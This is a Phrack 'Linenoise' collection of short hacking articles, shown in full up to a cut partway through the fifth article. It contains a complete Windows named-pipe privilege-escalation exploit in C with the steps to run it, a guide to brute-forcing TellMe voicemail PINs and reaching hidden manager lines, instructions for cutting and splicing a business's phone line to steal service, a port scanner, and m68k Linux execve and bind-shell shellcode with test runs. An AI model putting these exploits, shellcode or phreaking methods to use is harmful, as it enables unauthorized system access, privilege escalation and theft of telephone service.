
                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x03 of 0x0f

|=---------------------=[ L I N E N O I S E ]=---------------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ Phrack Staff ]=-----------------------------=|

    Everything that does not fit somewhere else can be found here.
Corrections and additions to previous articles, to short articles or
articles that just dont make it....everything.


Contents

    1 - Windows named pipes exploitation                 by DigitalScream
    2 - How to hack into TellMe                          by Archangel
    3 - Shitboxing                                       by Agent5
    4 - PalmMap v1.6 - Nmap for Palm                     by Shaun Colley
    5 - Writing Linux/mc68xxx shellcode                  by madcr
    6 - Finding hidden kernel modules (the extrem way)   by madsys
    7 - Good old floppy bombs                            by Phrick


|=-----------------------------------------------------------------------=|
|=-=[ 1 - Windows named pipes exploitation ]=----------------------------=|
|=-----------------------------------------------------------------------=|

by DigitalScream <digitalsream at real.xakep.ru> / SecurityLevel5

All latest versions of  Microsoft Windows  family  operation  systems  are
based on  Windows NT kernel. This fact has positive impact for both remote
and local security  of  Windows  world. There  are still  some thin places
though allowing  obtaining  Local System  privileges on the local computer
leading  to  the  full  system  compromise.   Usually   this   is  because
different buffer  overruns in  stack or heap  in system  services, like in
case of  any operation system. However  we should not  forget about system
specific bugs  because of abnormal behavior of system functions. This kind
of  bugs is very  system dependant  and  from  time  to time is discovered
in different OS. Of cause, Windows is not exception.

Specific bugs are  usually having impact on local users. Of cause, this is
not a kind  of axiom,  but local  user  has  access  to  larger  amount of
the  system  API  functions comparing with  remote one. So, we are talking
about  possibility   for   local  user  to  escalate  his  privileges.  By
privilege escalation we  mean obtaining privileges of Local System to have
no  limitations  at  all. Now  there  are few  ways to get it, I will talk
about new one.

According to  MSDN  to launch  application with different account one must
use  LogonUser() and CreateProcessAsUser() functions. LogonUser() requires
username and password for account we need. 'LogonUser()'  task  is to  set
SE_ASSIGNPRIMARYTOKEN_NAME   and   SE_INCREASE_QUOTA_NAME  privileges  for 
access token. This privileges are required for CreateProcessAsUser(). Only
system processes have these privileges.  Actually  'Administrator' account
have no enough  right  for  CreateProcessAsUser().  So,  to  execute  some
application,  e.g.  'cmd.exe'  with  LocalSystem  account  we must have it
already. Since  we do not have username and password of privileged user we
need another solution.

In this paper  we will obtain  'LocalSystem'  privileges  with file access
API. To open file Windows application call CreateFile()  function, defined
below:

HANDLE CreateFile(
        LPCTSTR               lpFileName, 
        DWORD                 dwDesiredAccess, 
        DWORD                 dwShareMode, 
        LPSECURITY_ATTRIBUTES lpSecurityAttributes, 
        DWORD 		      dwCreationDisposition, 
        DWORD 	              dwFlagsAndAttributes, 
        HANDLE 	              hTemplateFile 
        ); 

To open file we must call something like

HANDLE hFile;
hFile=CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, 
                             OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

For  advanced  Windows  programmer  it's clear that this function has more
application  rather  than  only opening   ordinary   files.  It's  used to
openor create  new  files, directories,  physical  drives,  and  different
resources for  interprocess  communication,  such as pipes  and mailslots.
We will be concerned with pipes.

Pipes  are  used for one-way  data exchange  between  parent  and child or
between  two  child  processes.  All  read/write   operations are close to
thesame file operations.

Named  Pipes are used  for two-way data exchange between client and server
or between two client  processes.  Like pipes they are like files, but can
be used to exchange data on the network.

Named pipe creation example shown below:

  HANDLE hPipe = 0;
  hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, 
                           PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
|=----------------------------------------------------------------------=|
Named  pipe's  name can  vary,  but  it  always  has   predefined  format. 
The example of  valid name  is  '\\.\pipe\GetSys'.   For  Windows,  '\\.\'
sequence always precedes  filename,  e.g.  if  "C:\boot.ini"  is requested
system  actually   accesses  '\\.\C:\boot.ini'. This  format is compatible
with UNC standard.

With basic knowledge of named pipes operations we can suppose there can be
a way to full  application to access  named pipe  instead of user supplied
file. For example, if we created named pipe  "\\.\pipe\GetSys" we  can try
to force application to access "\\ComputerName\pipe\GetSys". It gives us a
chance to manipulate with access token.

Impersonation token is  access  token  with  client's privileges. That is,
this is possibility for server to do  something on client's behalf. In our
case server  is named pipe we created. And it becomes possible  because we
are granted SecurityImpersonation privilege for client. More precisely, we
can get  this privilege.  If  client  application  has privileges of local
system we  can get access  to registry,  process and memory management and
another possibilities not available to ordinary user.

This attack can be easily realized in practice.  Attack  scenario for this
vulnerability is next:

1. Create name pipe

Wait client connect after named pipe is created. 

2. Impersonate client

Because  we assume client  application has system rights we will have them 
too.

3. Obtain required rights. In fact, we need only 

 - SE_ASSIGNPRIMARYTOKEN_NAME	
 - SE_INCREASE_QUOTA_NAME

 - TOKEN_ALL_ACCESS
 - TOKEN_DUBLICATE

This is all  we need for  CreateProcessAsUser() function. To obtain rights
we  need  new  token  with  TOKEN_ALL_ACCESS privelege.  And we can do it,
because we have privileges of client process.

Execute code of our choice
        

It could be registry  access,  setting  some hooks or random commands with
system privileges. Last one is  most  interesting,  because we can execute
standalone application of our choice for our specific needs.

As it was said before, now I can execute CreateProcessAsUser() with system
 privileges. I  back  to  beginning,  but  this  time  I have all required
privileges and 'LocalSystem' is under my thumb.

There  is no problem to realize  this approach. As an example, we will use
working  exploit   by    wirepair at sh0dan.org    based   on   the   code
of maceo at dogmile.com.

#include <stdio.h>
#include <windows.h>

int main(int argc, char **argv)
{
   char szPipe[64];
   DWORD dwNumber = 0;
   DWORD dwType = REG_DWORD;
   DWORD dwSize = sizeof(DWORD);
   DWORD dw = GetLastError();
   HANDLE hToken, hToken2;
   PGENERIC_MAPPING pGeneric;
   SECURITY_ATTRIBUTES sa;
   DWORD dwAccessDesired;
   PACL pACL = NULL;
   PSECURITY_DESCRIPTOR pSD = NULL;
   STARTUPINFO si;
   PROCESS_INFORMATION pi;

   if (argc != 2) {
          fprintf(stderr, "Usage: %s <progname>\n", argv[0]);
          return 1;
   }

   memset(&si,0,sizeof(si));
   sprintf(szPipe, "\\\\.\\pipe\\GetSys");

// create named pipe"\\.\pipe\GetSys"

   HANDLE hPipe = 0;
   hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, 
                     PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
   if (hPipe == INVALID_HANDLE_VALUE) {
     printf ("Failed to create named pipe:\n  %s\n", szPipe);
     return 2;
   }

   printf("Created Named Pipe: \\\\.\\pipe\\GetSys\n");

// initialize security descriptor to obtain client application
// privileges
   pSD = (PSECURITY_DESCRIPTOR) 
                        LocalAlloc(LPTR,SECURITY_DESCRIPTOR_MIN_LENGTH); 
   InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION);
   SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE); 
   sa.nLength = sizeof (SECURITY_ATTRIBUTES);
   sa.lpSecurityDescriptor = pSD;
   sa.bInheritHandle = FALSE;

   printf("Waiting for connection...\n");

// wait for client connect
   ConnectNamedPipe (hPipe, NULL);

   printf("Impersonate...\n");

// impersonate client

   if (!ImpersonateNamedPipeClient (hPipe)) {
     printf ("Failed to impersonate the named pipe.\n");
     CloseHandle(hPipe);
     return 3;
   }

   printf("Open Thread Token...\n");

// obtain maximum rights with TOKEN_ALL_ACCESS

   if (!OpenThreadToken(GetCurrentThread(), 
                                TOKEN_ALL_ACCESS, TRUE, &hToken )) {

             if (hToken != INVALID_HANDLE_VALUE) {
                     printf("GetLastError: %u\n", dw);
                     CloseHandle(hToken);
                     return 4;
		 }
   }
   
   printf("Duplicating Token...\n");

// obtain TOKEN_DUBLICATE privilege
   if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,
        &sa,SecurityImpersonation, 
                TokenPrimary, &hToken2) == 0) {

          printf("error in duplicate token\n");
          printf("GetLastError: %u\n", dw);
          return 5;
   }

// fill  pGeneric structure
   pGeneric = new GENERIC_MAPPING;
   pGeneric->GenericRead=FILE_GENERIC_READ;
   pGeneric->GenericWrite=FILE_GENERIC_WRITE;
   pGeneric->GenericExecute=FILE_GENERIC_EXECUTE;
   pGeneric->GenericAll=FILE_ALL_ACCESS;

   MapGenericMask( &dwAccessDesired, pGeneric );

   dwSize  = 256;
   char szUser[256];
   GetUserName(szUser, &dwSize);

   printf ("Impersonating: %s\n", szUser);
   
   ZeroMemory( &si, sizeof(STARTUPINFO));
   si.cb = sizeof(si);
   si.lpDesktop	        = NULL;
   si.dwFlags	        = STARTF_USESHOWWINDOW;
   si.wShowWindow       = SW_SHOW;

   printf("Creating New Process %s\n", argv[1]);  

// create new process as user
   if(!CreateProcessAsUser(hToken2,NULL, argv[1], &sa, 
        &sa,true, NORMAL_PRIORITY_CLASS | 
                CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) {
      printf("GetLastError: %d\n", GetLastError());
   }

// wait process to complete and exit
   WaitForSingleObject(pi.hProcess,INFINITE);
   CloseHandle(hPipe);
  
   return 0;
}

This vulnerability gives  a  chance for us to obtain  system privileges on
local computer. The  only  condition  is system  process  must access this
channel. This  condition  is  easy  to  reproduce  with  system  services.
For example:

[shell 1]

>pipe cmd.exe
Created Named Pipe: \\.\pipe\GetSys
Waiting for connection...

[shell 2]

>time /T
18:15

>at 18:16 /interactive \\ComputerName\pipe\GetSys

New task added with code 1

[shell 1]
Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe

Now we have new instance  of cmd.exe with system privileges. It means user
can easily obtain  privileges  of local system.  Of cause  reproduce  this
situation is easy only in case, there is a service, which can access files
on  user request.  Because  'at' command  requires  at  least  power  user
privileges  and may be used  to launch cmd.exe directly, without any named
pipe this example is useless.

In practice, this vulnerability may be exploited for privilege  escalation
by  the local user if Microsoft SQL Server  is installed. SQL  server runs
with system privileges and may be accessed with unprivileged user.  @Stake
reported vulnerability in  xp_fileexist  command. This command  checks for
file existence and we can use it to access our named pipe. Attack scenario
is nearly same:

[shell 1]

>pipe cmd.exe
Created Named Pipe: \\.\pipe\GetSys
Waiting for connection...

[shell 2]

C:\>isql -U user
Password:
1> xp_fileexist '\\ComputerName\pipe\GetSys'
2> go
   File Exists File is a Directory Parent Directory Exists
   ----------- ------------------- -----------------------
             1                   0                       1

[shell 1]

Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe

At the   end,  it's good  to  point  that  this  vulnerability  exists  in
Windows   NT/2000/XP   and  is   patched   with   Windows   2000  SP4  and
on Windows 2003.

A big thank to ZARAZA(www.security.nnov.ru), without him, nothing could be
possible.


[1] Overview of the "Impersonate a Client After Authentication"
http://support.microsoft.com/default.aspx?scid=kb;[LN];821546

[2] Exploit by maceo
http://www.securityfocus.com/archive/1/74523

[3] Exploit by wirepair
http://www.securityfocus.com/archive/1/329197

[4] Named Pipe Filename Local Privilege Escalation
www.atstake.com/research/advisories/2003/a070803-1.txt

[5] Service Pack 4 for Windows 2000 
http://download.microsoft.com/download/b/1/a/
b1a2a4df-cc8e-454b-ad9f-378143d77aeb/SP4express_EN.exe


|=-----------------------------------------------------------------------=|
|=-=[ 2 - How to hack into Tellme ]=-------------------------------------=|
|=-----------------------------------------------------------------------=|

How to get into the Tell-Me network.
(1-800-555-tell)

    This is a representation of someone's thoughts. Thoughts cannot be
owned by another person. Use this thought as you see fit, it is yours to
duplicate or use as you please.

By Archangel (Formerly of the P.H.I.R.M.)
Archangel Systems 
http://the.feds.are.lookingat.us
--------------------------------------


What is the Tell-Me system?
===========================

    TellMe is a high-tech voice activated phone site with internet
connectivity, and even a voice activated browser. It is the ultimate goal
of TellMe to have the whole of the internet voice activated. The system is
quite sophisticated by today's standards, though I'm sure that tomorrow's
readers will find the efforts to be quite primative to say the least. A
free phone call gives the listener access to news, sports, weather, etc.
Even movie listings. Other areas provide for private announcements, or even
voice activated web-sites. In other words, it is now possible, through
TellMe, to dial a phone number, and listen to a website. 

    Tell me is a subsidiary of CNET, a giant (at the time of this writing)
on the internet.

What security flaws were exploited?
===================================

    Well, I guess it's nut-cutting time. TellMe has a VERY SERIOUS security
flaw which can allow unauthorized access to the system within a matter of
hours. As I tried to hack into my own account, I realized that TellMenu
announcements only have a 4 digit numeric password.

Here's what you do:
- You dial 1-800-555-tell.
- You will get an automated banner-ad followed by a menu discribing
  various TellMe features.
- You must say the word "Announcements", or dial "198" on the keypad.
  This will take you to the announcements area.
- Once in the announcements area, you will need to punch in the
  announcement number, which is a seven digit number assigned to you by the
  TellMe computer.
- Type in any announcement number you wish (I tried with my own one first,
  as this was an experiment to see if I could hack in and change my own
  announcement).
  The computer says "Ok, here is your announcement."
  Then I heard a recording of The Baron Telling what a whimp I am.
- This was followed by the computer saying:
  Please type in another announcement number, or say "Main Menu" to
  continue. If you are the announcement manager, please use you telephone
  keypad to enter your password to edit the announcement. If you remain
  silent, the computer will say: "Please enter your 4 digit password."

FOUR DIGITS?????
Were they serious?

Now here's the kicker:
TELLME WON'T DISCONNECT YOU IF YOU FAIL 3 TIMES IN A ROW!!!
Yes, ladies and gentlement, keep trying to your heart's content.
No penalties.

Obviously a Brute Force hack was in order. I handled it by dusting off a
*VERY* old wardialer.

    I sat on an extention line, due to the limitations of the dialer, and
listened to it punching in access codes. When it succeeded, I could pause
the wardialer program. I would be able to look at the screen, and see what
the last couple of attempted numbers were, manually dial them in, and gain
access. I know there are easier methods, but this is what I did.

    The Baron had mercifully chosen a low number, and I was in, changing
the message in about ten minutes. I then tried two other *SAFE* messages,
that I would not get in trouble for, if changed. I gained access,
respectively, in 45 and 90 minutes (More or less). My math told me that the
maximum time to Brute Force a TellMe announcement was about three hours.

Is that it?
No, while having the ability to change any announcement may be a lot of
fun, there is a far more intersting hack that you can do on TellMe.
Remember how when you first sign on, you have to say "announcements"?
Try saying the word "Extensions". You may be quite surprised at what you
find.

What are Tell-Me extensions?
============================

    Tell-Me extensions are that part of the Tellme network, which they
have offered to the world to produce the voice activated web pages. Here
is what you do.

- Say "Extensions". You will be taken to the extensions area, and asked to
  punch in an extension number. This is a five digit number. It was time
  again for my ancient wardialer to do it's stuff. (Once again, no penalty
  for incorrect guesses!)

    First off, it is important at this point to mention that TellMe is a
dying concern. Most of the extensions are empty. The only extensions still
operating, are some extensions created by individual developers, Die-hard
developers, and (This is important later) TellMe's *own* extensions.

    Apparently, the idea was to use the extension number as a kind of
password, as there is no directory, and one must already know the extension
number in order to gain access.

    I checked into The San Remo hotel here in Las Vegas, under my
girlfriend's name, and spent the night hacking. Here's what I have come up
with so far:

Extension 76255:
----------------
    This leads to a very bizarre game of Rock/Paper/Scissors. It is one of
the wierdest things that I have ever come across in all my days. I HIGHLY
suggest you try it. It is like some whiney hillbilly guy...well see fer
yerself!

Extension 11111:
----------------
    A gypsy with an eight ball. You ask it questions, and it gives you
answers. There are no disclaimers, so I guess this is the real deal! Saying
"quit" or "Stop" won't help you. Just shut the hell up, and it will kick
you back into regular Tell-Me.

Extension 33333:
----------------
    Produces the words "HELLO WORLD"

Extension 34118:
----------------
    Produces a directory of TellMe's offices, with the regular phone
numbers.

Most of the worthy extensions consisted of foul language, so anyone
under 18 should stop reading now...

Use the letters on your telephone keypad, and you will get some very
intersting results. These are five letter words corresponding to the
numbers on your phone.

CUNTS - Produces a string of numbers of unknown meaning. Just a long
        string of a computer voice saying "one, five, seven, three, twelve,
	eighty-eight" etc. I'll figure out what that means later.

TITTY - This produces a fax tone, as opposed to a computer tone. I didn't
        mess with it.

PENIS - This produces a verbal message about the sendmail system.

HOLES - This is the Quote of the Day.

BOOBS - This has to do with HTTP protocols.

SHIT0 - This is a directory of phone lines in the TellMe system.

FUCK0 - This is a very interesting directory of phone lines in the TellMe
        system. Two of the lines appear to be trusted lines, providing a
	computer tone which I used to log on. There was a first time user
	option, which gave me a manager's account. (Do they have hundreds
	of managers?) What can it do? I was able to delete my own account
	and bring it back. I didn't fuck with anyone elses account. My goal
	is not to destroy, but to learn.

PISS0 - As above, the TellMe system addresses me with a choice of talking
        to a live person, or an automated directory of phone lines. I'm
	amazed this is all behind a five digit password.

Damn0 - Yet another directory of trusted phone lines. This one, however
        askes you for another password right up front, so I'm assuming this
	is a more security sensative area!

Pussy - A discription of how to configure a TellMe webpage.

Cum69 - Advice on proper password generation. (hahahahahahahahahaha!!!!)

EATME - Computer tone leading to nowhere.


The TellMe security protocols are pathetic.

Archangel (The Teflon Con)
Wrath of God Hand Delivered
http://the.feds.are.lookingat.us

|=-----------------------------------------------------------------------=|
|=-=[ 3 - Shitboxing ]=--------------------------------------------------=|
|=-----------------------------------------------------------------------=|

by Agent5

    So you're sitting in a small family owned type resturaunt or you're
walking through a small store looking at their various wares and, as normal
every couple times a day, you hear the call of nature. You make your way
towards the (preferably single occupancy) mens room (or ladies for those
few that may actually read this) and enter.  So your doing your thing and
you're lookin around checking out your surroundings (why? cause you're
supposed to be fucking observant at all times.Thats why.) Your gaze takes
you towards the ceiling. Looks like most most cheap drop down ceilings.
hmmmm.... drop down ceiling.....easily removable. So you stand on the
toilet, or whatever, and take a look. You pull out your pocket flashlight
and take a look. Nothing but wires. Couple elecrical or telephone maybe...
..TELEPHONE? Does this mean i can sit on the throne and use the fone?
Indeed it does!  All you need is a few things to help you make your dream
of phreaking at its absolute lazyest a reality.what you need will (besides
your beigebox with a RJ-11 plug on the cord) probably cost you, at an
extreme maximum, 3 bucks for parts and about 6 bucks for an telephone Line
Crimper for standard telephone plugs (RJ-11) you will also need a... 
"modular line splitter - Provides two telephone jacks when plugged into the
end of a telephone line cord. Standard 4-wire jacks. Color: Ivory"----bout
dollar and change max cost. Most of these parts, if not all, can be found
at your local radioshack. Now if you havent figured out what i'm getting at
yet, you should seek medical attention immediately, CAT-scans have helped
me alot.<twitch>

    Heres what you do and make sure you do it quickly in case they try to
use the telephone while the line is disconnected. SO make sure you lock the
door and get to work fast....if you have people beginning to knock on the
door just make some nasty shitting sounds and say you'll be out in a
minute.

1. Cut the line. (no specific tools needed, something sharp will do)
2. Attach a plug to either end of the line you have just cut.
3. Put one end of the plug in one end of the modular line splitter, put the
   one thats left into one of the two holes on the front of the splitter.
4. Now you can either leave and let the intestinaly distressed old guy
   pouding on the door in, or you can plug your beige box in and have some
   fun.

    Treat this as you would any other beige boxing session. Keep in mind
that the people who own the telephone line may want to use it to and may
not enjoy having someone on the line already. But for the most part this
ordinary bathroom has just become a your private telephone booth, complete
with running water and a toilet for the astronomical sum of 3 dollars US.

"This file brought to you by the makers of sharp things."

Shoutouts to Epiphany, Bizurke, Master Slate, Ic0n, Xenocide, Bagel,
Hopping Goblin, Maddjimbeam, lioid, emerica, the rest of the #mabell
ninja's, port7 alliance, and LPH crew .


|=-----------------------------------------------------------------------=|
|=-=[ 4 - PalmMap v1.6 - Nmap for Palm ]=--------------------------------=|
|=-----------------------------------------------------------------------=|

(submitted by Shaun Colley <shaunige at yahoo.co.uk>)

-----BEGIN PALMMAP-----
# PalmMap.bas
# PalmMap v1.6 - Nmap for Palm.

fn set_auto_off(0)
s$(0) = "Host:"
s$(2) = "Start Port:"
s$(4) = "End Port:"
f = form(9, 3, "PalmMap v1.6")
if f = 0 then end
if f = 2 then gosub about
let h$ = s$(1)
let p = val(s$(3))
let e = val(s$(5))
let i = p
let t$ = "PalmMap.log"
open new "memo", t$ as #4
form2:
cls
form btn 30 , 40 , 40 , 18, "connect()", 1
form btn 85 , 40, 40 , 18 , "TCP SYN" , 1
form btn 60 , 80 , 40 , 18 , "UDP scan" , 1
form btn 60 , 120, 40 , 18 , "TCP FIN " , 1
draw "Scan type?", 50, 20, 1
while
x = asc(input$(1))
if x = 14 then gosub scan
if x = 15 then print "Scan type not implemented as of
yet."
if x = 16 then print "Scan type not implemented as of
yet."
if x = 17 then print "Scan type not implemented as of
yet."
wend

sub scan
cls
print at 50, 40
while(i <= e)
c = fn tcp(1, h$, i)
if(c = 0)
print "Port ", i, "Open"
fn tcp(-1, "", 0)
print #4, "Port ", i, "Open"
else
fn tcp(-1, "", 0)
print #4, "Port ", i, "Closed"
endif
let i = i + 1
wend
close #4
print "Scan complete!"
end

sub about
cls
msgbox("PalmMap - Nmap for Palm.", "About PalmMap
1.6")
-----END PALMMAP-----

|=-----------------------------------------------------------------------=|
|=-=[ 5 - Writing Linux/mc68xxx Shellcodez ]=----------------------------=|
|=-----------------------------------------------------------------------=|

 by madcr (madrats@mail.ru)


 I    Introdaction.
 II   Registers.
 III  Syscalls.
 IV   Execve shellcode. 
 V    Bind-socket shellcode.
 VI   References.


 I. Introdaction.

 The history Motorola begins already with 1920 then they let out radioelements 
 and about computers of nothing it was known. Only in 1974, motorola lets out 
 the first 8th the bit microprocessor - MC6800, containing 4000 transistors and
 in 1979 motorola announces the first 16th bit processor - MC68000, capable to 
 process up to 2 million operations per one second. After 5 more years, in 1984
 motorola relize the first 32th the bit processor (MC68020), containing 200000 
 transistors. Till 1994 inclusive motorola improved a series of the processors
 and in a result, in March, release MC68060 processor contained 2,5 million 
 transistors. In present days, 68060 is the optimal processor for use any unix.


 The processor can work in 2 modes: User and SuperVisor. It not analogy of the 
 real and protected mode in x86 processors. It some kind of protection
 "just in case". In the user mode it is impossible to cause exceptions and it 
 is impossible to have access to all area of memory. In supervisor mode all is
 accessible. Accordingly kernel work in Supervisor mode, and rest in User mode.


 MC68 supported various manufacturers unix, such as netbsd, openbsd, redhat 
 linux, debian linux, etc. Given article is focused on linux (in particular 
 debian).


 II. Registers.


 The processor as a matter of fact the CISC (but there are some opportunities 
 RISC), accordingly not so is a lot of registers: 

 Eight registers of the data: with %d0 on %d7.
 Eight registers of the address: with %a0 on %a7. 
 The register of the status:  %sr. 
 Two stack indexes: %sp and %fp 
 The program counter: %pc. 

 Basically it is not required to us of anything more. And the minimal set of 
 instructions which is required to us by development shellcode:


 instruction            example               description

   move                movl %d0,%d1           Put value from %d0 in %d1
   lea                 leal %sp@(0xc),%a0     calculate the address on 0xc to
                                              displacement in the stack and it
 					      is put in. %a0.
   eor                 eorl %d0,%d1           xor
   pea                 pea 0x2f2f7368         push in stack '//sh'



  In total these 4 instructions will be enough for a spelling functional 
  shellcode ?). And now it is high time to tell about the fifth, most important
 instruction (fifth, need us i mean) and about exceptions. The instruction trap
 - a call of exception. In processors motorola, only 256 exceptions, but of all
 of them are necessary for us only one - trap #0. In mc68 linux on this 
 exception call to a kernel, for execution system call. Trap 0 refers to a 
 vector located to the address $80h (strange concurrence). Now we shall stop on
 system calls more in detail.


 III. System Calls.


 System calls on the given architecture are organized thus:  

 %d0 - number of a system call.
 %d1,%d2,%d3 - argv

 i.e. to make banal setuid (0); we will have something unpretentious: 

 eorl %d2,%d2
 movl %d2,%d1
 movl #23,%d0
 trap #0

 Rather simple.


 IV. Execve shellcode.


 So, we shall start as always with old-kind execve:

 .globl _start
_start:
.text
	movl #11,%d0       /* execve()  (see unistd.h) */
	movl #m1,%d1       /* /bin/sh address          */  
 	movl #m2,%d2       /* NULL                     */
	movl #m2,%d3       /* NULL too                 */
	trap #0
.data
m1: .ascii "/bin/sh\0"
m2: .ascii "0\0".

# as execve.s -o execve.o ; ld execve.o -o execve
# ./execve
sh-2.03# exit
exit
#


 Such code will not go, since he not pozitsio-independent and did not check him
 on zero. Therefore we shall rewrite him with participation of the stack (since
 the machine at us big endian the order of following of byte needs to be taken
 into account):

.globl _start
_start:
        moveq #11,%d0         /* execve()            		    */
	pea 0x2f2f7368        /* //sh                		    */
 	pea 0x2f62696e        /* /bin  (big endian)  		    */
	movel %sp,%d1         /* /bin/sh in %d1      		    */
	eorl %d2,%d2          /* pea 0x0 + avoiding  		    */
	movel %d2,%sp@-       /* zero byte           		    */
 	pea 0x130             /* pea 0030 -> 0130 = kill the zero   */
	movel %sp,%d2         /* NULL in %d2                        */
	movel %d2,%d3         /* NULL in %d2                        */
	trap #0               /* syscall                            */

# as execve2.s -o execve2.o ; ld execve2.o -o execve2
# ./execve2
sh-2.03# exit
exit
#

 Very well. Now we shall mutate him in ascii and we shall look as it works:

char execve_shellcode[]=   
"\x70\x0b"           	      /* moveq #11,%d0               */
"\x48\x79\x2f\x2f\x73\x68"    /* pea 0x2f2f7368  -> //sh     */
"\x48\x79\x2f\x62\x69\x6e"    /* pea 0x2f62696e  -> /bin     */
"\x22\x0f"           	      /* movel %sp,%d1               */
"\xb5\x82"           	      /* eorl %d2,%d2    ->          */
"\x2f\x02"           	      /* movel %d2,%sp@- -> pea 0x0  */
"\x48\x78\x01\x30"            /* pea 0x130                   */
"\x24\x0f"           	      /* movel %sp,%d2               */
"\x26\x02"           	      /* movel %d2,%d3               */
"\x4e\x40";           	      /* trap #0                     */

main()
{
 int *ret;
 ret=(int *)&ret +2;
 *ret = execve_shellcode;
}


# gcc execve_shellcode.c -o execve_shellcode
# ./execve_shellcode
sh-2.03# exit
exit
#


 Our shellcode. Perfectly. But certainly it is not enough of it, therefore we
 shall binding this shellcode on socket.



 V. Bind-socket shellcode. 


 For the beginning we write our code on C:

#include <;;shiti;;>

main()
{
    int fd,dupa;    
    struct sockaddr_in se4v;

    fd=socket(AF_INET,SOCK_STREAM,0);
    se4v.sin_port=200;
    se4v.sin_family=2;
    se4v.sin_addr.s_addr=0;
    
    bind(fd,(struct sockaddr *)&se4v,sizeof(se4v));
    listen(fd,1);
    dupa=accept(fd,0,0);
    dup2(dupa,0);
    dup2(dupa,1);
    dup2(dupa,2);
    execl("/bin/sh","sh",0);
}

# gcc -static bindshell.c -o bindshell &
# ./bindshell &
[1] 276
# netstat -an | grep 200
tcp        0          0    0.0.0.0:200            0.0.0.0:*             LISTEN
# telnet localhost 200
Trying 127.0.01...
Connected to localhost.
Escape character is '^]'.
echo aaaaaaaaaaaa
aaaaaaaaaaaa
ctrl+c
[1]+ Done     ./bindshell


 All works. Now the last, that us interests - it as there is a work with a 
 network.

# gdb -q ./bindshell
(gdb) disas socket
Dump of assembler code for function socket:
0x80004734 <socket>:     moveal %d2,%a0
0x80004736 <socket+2>:   moveq #102,%d0
0x80004738 <socket+4>:   moveq #1,%d1
0x8000473a <socket+6>:   lea %sp@(4),%a1
0x8000473e <socket+10>:  movel %a1,%d2 
0x80004740 <socket+12>:  trap #0 
0x80004742 <socket+14>:  movel %a0,%d2
0x80004744 <socket+16>:  tstl %d0
0x80004746 <socket+18>:  bmil 0x80004958 <__syscall_error> 
0x8000474c <socket+24>:  rts 
0x8000474e <socket+26>:  rts
End of assembler dump.
(gdb)


 Perfectly. As well as everywhere - 102 = socket_call. 1 - sys_socket. 
 (for the full list look net.h). Proceeding from the aforesaid we shall write
 it on the assembler:

.globl _start
_start:

/* socket(AF_INET,SOCK_STREAM,0); ----------------------------------------- */
/* af_inet - 2, sock_stream - 1, ip_proto0 - 0 */

        moveq #2,%d0 
	movl %d0,%sp@        /* sock_stream */ 
	
	moveq #1,%d0     
	movel %d0,%sp@(0x4)   /* AF_INET     */
		
	eorl %d0,%d0
	movl %d0,%sp@(0x8)
	
	movl %sp,%d2    /* put in d2 the address in the stack on where our argv*/
	    	
	movl #0x66,%d0   /* socketcall (asm/unistd.h) */
	movl #1,%d1      /* sys_socket (linux/net.h)  */
	trap #0          /* go on vector 80 */


/* -bind(socket,(struct sockaddr *)&serv,sizeof(serv));-------------------- */

  	movl %d0,%sp@          /* in d0 back descriptor on socket */
                               
        move #200,%d0
	movl %d0,%sp@(0xc)     /* port number        */
	
	eorl %d0,%d0     
	movl %d0,%sp@(0x10)    /* sin_addr.s_addr=0  */
	
	moveq #2,%d0     
        movl %d0,%sp@(0x14)    /* sin_family=2       */   


/* Let's calculate the address of an arrangement of constants of the     */
/* second argument and we shall put this address as the second argument  */

        leal %sp@(0xc),%a0   
        movl %a0,%sp@(0x4)   

	moveq #0x10,%d0
	movl %d0,%sp@(0x8)    /* third argument 0x10 */

        movl #0x66,%d0        /* socketcall (asm/unistd.h) */
	movl #2,%d1           /* sys_bind (linux/net.h)    */
	trap #0               /* go on vector 80           */


/* listen (socket,1); ----------------------------------------------------- */
/* descriptor socket's already in stack.  				    */ 
/*------------------------------------------------------------------------- */ 
        moveq #1,%d0
        movl %d0,%sp@(4)

/* in d2 already put address of the beginning arguments in the stack */
         	
	movl #0x66,%d0       /* scoketcall (asm/unistd.h) */
	movl #4,%d1          /* sys_listen (linux/net.h)  */
	trap #0              /* go on vector 80           */

/* accept (fd,0,0); ------------------------------------------------------- */

       eorl %d0,%d0
       movl %d0,%sp@(4)
       movl %d0,%sp@(8)


       movl #0x66,%d0       /* scoketcall (asm/unistd.h) */
       movl #5,%d1          /* sys_accept (linux/net.h)  */
       trap #0              /* go on vector 80           */
	
/* dup2 (cli,0); ---------------------------------------------------------- */
/* dup2 (cli,1); ---------------------------------------------------------- */
/* dup2 (cli,2); ---------------------------------------------------------- */

       movl %d0,%d1
       movl #0x3f,%d0
       movl #0,%d2 
       trap #0

       movl %d0,%d1
       movl #0x3f,%d0 
       movl #1,%d2 
       trap #0

       movl %d0,%d1
       movl #0x3f,%d0 
       movl #2,%d2 
       trap #0
       
/* execve ("/bin/sh"); ----------------------------------------------------- */
      
      movl #11,%d0       /* execve */
      pea 0x2f2f7368     /* //sh   */
      pea 0x2f62696e     /* /bin   */ 
      movl %sp,%d1       /*  /bin/sh in %d1 */

      eorl %d2,%d2       
      movl %d2,%sp@-     /* pea 0x0 */ 
      pea 0x0130         /* 0030 -> 0130 = kill the zero */
      
      movl %sp,%d2
      movl %d2,%d3 
      trap #0

/* ---EOF---bindsock shellcode--------------------------------------------- */


# as bindshell.s -o bindshell.o ; ld bindshell.o -o bindshell
# ./bindshell &
[309]
# telnet localhost 200
Trying 127.0.01...
Connected to localhost.
Escape character is '^]'.
echo aaaaaaaaaaaa
aaaaaaaaaaaa
ctrl+c

 In general and all. The code certainly super-not optimized, is some zero, but
